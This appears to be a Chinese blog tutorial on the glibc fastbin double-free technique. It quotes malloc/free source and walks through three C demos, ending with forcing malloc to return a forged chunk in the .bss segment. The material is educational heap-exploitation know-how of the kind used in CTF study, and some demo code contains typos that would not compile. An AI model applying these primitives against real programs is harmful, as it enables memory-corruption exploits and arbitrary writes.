获取中...

-

Just a minute...

double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free,

利用条件

Fastbin Double Free 能够成功利用主要有两部分的原因:
1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证
3.我们申请的一块chunk被释放后,它将以单链的形式被串在fastbin中,然后会有一个fast指针指向最后一个链上来了的chunk,当下一个chunk被释放后,将被链在上一个chunk的前面,fast指针向前移动

源码

1
2
3
4
5
6
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /*前一个chunk的大小*/
INTERNAL_SIZE_T size; /*当前chunk的大小*/
struct malloc_chunk * fd; /*指向前一个释放的chunk*/
struct malloc_chunk * bk; /*指向后一个释放的chunk*/
}

在malloc()时,当用户所要求内存大小在 fastbin 的大小范围时,malloc()优先从 fastbin 中拿出 chunk。malloc()会查找与所要求大小相匹配的 fastbin 链表,然后从头部取出 chunk,并将取出 chunk 的 fd 赋给 fastbin 链表头部。这样就从 fastbin 链表的头部中取出了 chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast()))
{
idx = fastbin_index(nb);
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp;
victim = *fb;

if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB(fb, pp, victim);
if (__glibc_likely(victim != NULL))
{
size_t victim_idx = fastbin_index(chunksize(victim));
if (__builtin_expect(victim_idx != idx, 0))
malloc_printerr("malloc(): memory corruption (fast)");
check_remalloced_chunk(av, victim, nb);
#if USE_TCACHE

#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}

由于free()时候检查了 fastbin 头部指向的 chunk 和被free()的 chunk 是否相等,即检查是否两次free()了同一个 chunk。所以不能通过直接free()同一个 chunk 来进行 double free。

1
2
3
4
5
6
7
8
9
10
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb;
// 这里省略部分代码
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;

free()还检查了 fastbin 里的 chunk 的 size 大小是否符合该 fastbin 的大小。

1
2
3
4
5
6
7
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");

结合上面的代码,我们可以通过如下方法绕过检查:分配两个 chunk,分别命名为 chunk0 和 chunk1,然后free(chunk0);free(chunk1);free(chunk0)就可以绕过上面的检查来进行 double free

示例1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include<stdlib.h>
#include<unsitd.h>
int main()
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk2);
free(chunk1);
return 0;
}

free chunk1

)

此时

free chunk2

)

再次free chunk1

)

示例2

再次分配三个chunk时,就会有两个指针指向同一个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
#include<stdlib.h>
int main()
{
void *chunk1,*chunk2,*chunk3,*chunk3,*chunk4,*chunk5;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
printf("chunk1 addr:%p\n",chunk1);
printf("chunk2 addr:%p\n",chunk2);

free(chunk1);
free(chunk2);
free(chunk1);
printf("------------------------------\n");

chunk3 = malloc(0x10);
chunk4 = malloc(0x10);
chunk5 = malloc(0x10);
printf("chunk3 addr:%p\n",chunk3);
printf("chunk4 addr:%p\n",chunk4);
printf("chunk5 addr:%p\n",chunk5);

return 0;
}

输出

1
2
3
4
5
6
chunk1 addr:0x24f7010
chunk2 addr:0x24f7030
------------------------------
chunk3 addr:0x24f7010
chunk4 addr:0x24f7030
chunk5 addr:0x24f7010

)

fastbin的链表头部是0x602000,fd指针指向的是0x602020,第二次分配给的就是0x602020,那么我们可以伪造一个fd指针,然后再分配的话就会分配到我们伪造的地址上面。伪造的地址上必须存在chunk结构体size字段,并且要符合当前fastbin的大小,才能分配出去。

示例3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<stdlib.h>
typedef struct fake_chunk{
char *prev_seze;
char *size;
char *fd;
char *bk;
} chunk;
chunk bss_chunk;
int (void)
{
void *chunk1,*chunk2,*chunk3,*chunk4,*chunk5,*chunk6;
printf("bss_chunk addr :%p\n",&bss_chunk);
bss_chunk.size = 0x21;//0x20

chunk1 = malloc(0x10);
chunk2 = malloc(0x10);
printf("chunk1 addr:%p\n",chunk1);
printf("chunk2 addr:%p\n",chunk2);

free(chunk1);
free(chunk2);
free(chunk1);
printf("-------------------------------\n");

chunk3 = malloc(0x10);
*(long long *)chunk3=&bss_chunk;
chunk4 = malloc(0x10);
chunk5 = malloc(0x10);

chunk6 = malloc(0x10);
printf("chunk3 addr:%p\n",chunk3);
printf("chunk4 addr:%p\n",chunk4);
printf("chunk5 addr:%p\n",chunk5);
printf("chunk6 addr:%p\n",chunk6);
return 0;
}

三次free

执行free(chunk1),free(chunk2),free(chunk1)之后如下图所示:

)

此时:

第一次malloc

))

malloc分配到chunk1,伪造一个 fake chunk,往 chunk1的数据段中写入 fake chunk 的地址,就可以将 chunk1 的 fd 指向 fake chunk,然后fake chunk 添加进了 fastbin 链表中。如下图所示:

))

所以当第一次malloc之后

在进行两次malloc(分配chunk2,chunk1)

这两次malloc之后分别分配了chunk2和chunk1

此时如下图所示:

再进行一次malloc(分配fake chunk)

输出

1
2
3
4
5
6
7
8
bss_chunk addr :0x601080
chunk1 addr:0x1dea420
chunk2 addr:0x1dea440
-------------------------------
chunk3 addr:0x1dea420
chunk4 addr:0x1dea440
chunk5 addr:0x1dea420
chunk6 addr:0x601090

此时,伪造再bss段上的chunk成功的被分配出去

相关文章
评论
分享
  • Alloc to Stack&Arbitary Alloc

    Alloc to Stack和Arbitary Alloc都利用了fastbin链表的特性。 Alloc To Stack利用了fastbin链表的特性。当前的chunk的fd指向下一个chunk。Alloc To Stack核心...

    Alloc to Stack&Arbitary Alloc
  • House of Spirit

    House of Spirit针对fastbin,也是fastbin attach的一种。核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。 原理House of Spi...

    House of Spirit
  • 堆利用fastbin attach

    fastbin attack是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。主要利用了fast bin的单链表管理机制。 相关源码1234567891011121314151617/* If the ...

    堆利用fastbin attach
Please check the parameter of comment in config.yml of hexo-theme-Annie!